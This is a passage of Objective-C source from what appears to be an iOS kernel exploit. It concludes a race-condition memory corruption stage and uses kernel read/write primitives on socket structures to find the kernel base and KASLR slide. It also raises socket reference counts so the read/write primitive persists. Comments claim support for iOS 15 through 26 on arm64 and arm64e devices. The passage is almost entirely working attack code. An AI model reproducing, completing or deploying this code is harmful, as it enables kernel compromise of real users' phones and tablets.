                seekingOffset += PAGE_SIZE;
            }
        }

        kr = mach_port_deallocate(mach_task_self(), memoryObject);
        sockets_release(socketPorts, socketPcbIds);
        kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize);

        if (success) break;
    }

    // Cleanup: deallocate remaining wired pages
    for (NSNumber *addr in wiredAddrs) {
        mach_vm_deallocate(mach_task_self(), addr.unsignedLongLongValue, wiredEntrySize);
    }
    printf("[+] pe_v2: Done, cleaned up %lu remaining wired pages\n", (unsigned long)wiredAddrs.count);
    free(readBuffer);
    free(writeBuffer);
}

void krw_sockets_leak_forever(void) {
    uint64_t controlSocketAddr =
        early_kread64(controlSocketPcb + off_inpcb_inp_socket);
    uint64_t rwSocketAddr =
        early_kread64(rwSocketPcb + off_inpcb_inp_socket);

    if (!controlSocketAddr || !rwSocketAddr) {
        printf("[-] Couldn't find controlSocketAddr || rwSocketAddr\n");
        FAILURE(0);
    }

    uint64_t controlSocketSoCount =
        early_kread64(controlSocketAddr + off_socket_so_usecount);
    uint64_t rwSocketSoCount =
        early_kread64(rwSocketAddr + off_socket_so_usecount);
    early_kwrite64(controlSocketAddr + off_socket_so_usecount,
                   controlSocketSoCount + 0x0000100100001001);
    early_kwrite64(rwSocketAddr + off_socket_so_usecount,
                   rwSocketSoCount + 0x0000100100001001);

    early_kwrite64(rwSocketPcb + off_inpcb_inp_depend6_inp6_chksum, 0);
}

uint64_t g_kernel_base;
uint64_t g_kernel_slide;

int kexploit_opa334(void) {
    // to support various iOS 17 - 26 versions
    offsets_init();

    init_globals();

    if (gIsA18Above) {
        printf("[+] Running on A18/M4 device\n");
        sleep(8);
        pe_init();
        pe_v2();
    } else {
        printf("[+] Running on non-A18/M4 device\n");
        pe_init();
        pe_v1();
    }

    printf("[+] highestSuccessIdx: %d\n", highestSuccessIdx);
    printf("[+] successReadCount: %d\n", successReadCount);

    goSync = 0;
    raceSync = 1;
    pthread_join(freeThread, NULL);
    close(writeFd);
    close(readFd);

    controlSocketPcb = early_kread64(rwSocketPcb + off_inpcb_inp_list_le_next);
    uint64_t pcbinfo_pointer = early_kread64(controlSocketPcb + off_inpcb_inp_pcbinfo);
    uint64_t ipi_zone = early_kread64(pcbinfo_pointer + off_inpcbinfo_ipi_zone);
    uint64_t zv_name = early_kread64(ipi_zone + off_kalloc_type_view_kt_zv_zv_name);

    g_kernel_base = zv_name & 0xFFFFFFFFFFFFC000;
    while (true) {
        // PRINT_VAR(g_kernel_base);
        if (early_kread64(g_kernel_base) == 0x100000cfeedfacf) {
            if(gIsPACSupported) {   //arm64e devices
                if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"16.0") && SYSTEM_VERSION_LESS_THAN(@"19.0") && early_kread64(g_kernel_base + 0x8) == 0xc00000002) { // iOS 16.x, 17.x, 18.x
                    break;
                }
                if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"26.0") && early_kread64(g_kernel_base + 0x8) == 0xCC0000002) {  // iOS 26.x
                    break;
                }
                if(SYSTEM_VERSION_LESS_THAN(@"16.0")) { // iOS 15.x
                    break;
                }
            } else {                //arm64 devices
                if(early_kread64(g_kernel_base + 0x8) == 0x200000000) {   //tested only on ipad7 18.0
                    break;
                }
            }
        }
        g_kernel_base -= PAGE_SIZE;
    }
    
    g_kernel_slide = g_kernel_base - 0xfffffff007004000;

    printf("early_kread64(%#llx) -> %#llx\n", g_kernel_base,
           early_kread64(g_kernel_base));

    printf("win??\n");

    krw_sockets_leak_forever();

    fflush(stdout);
    sleep(1);

    return 0;
}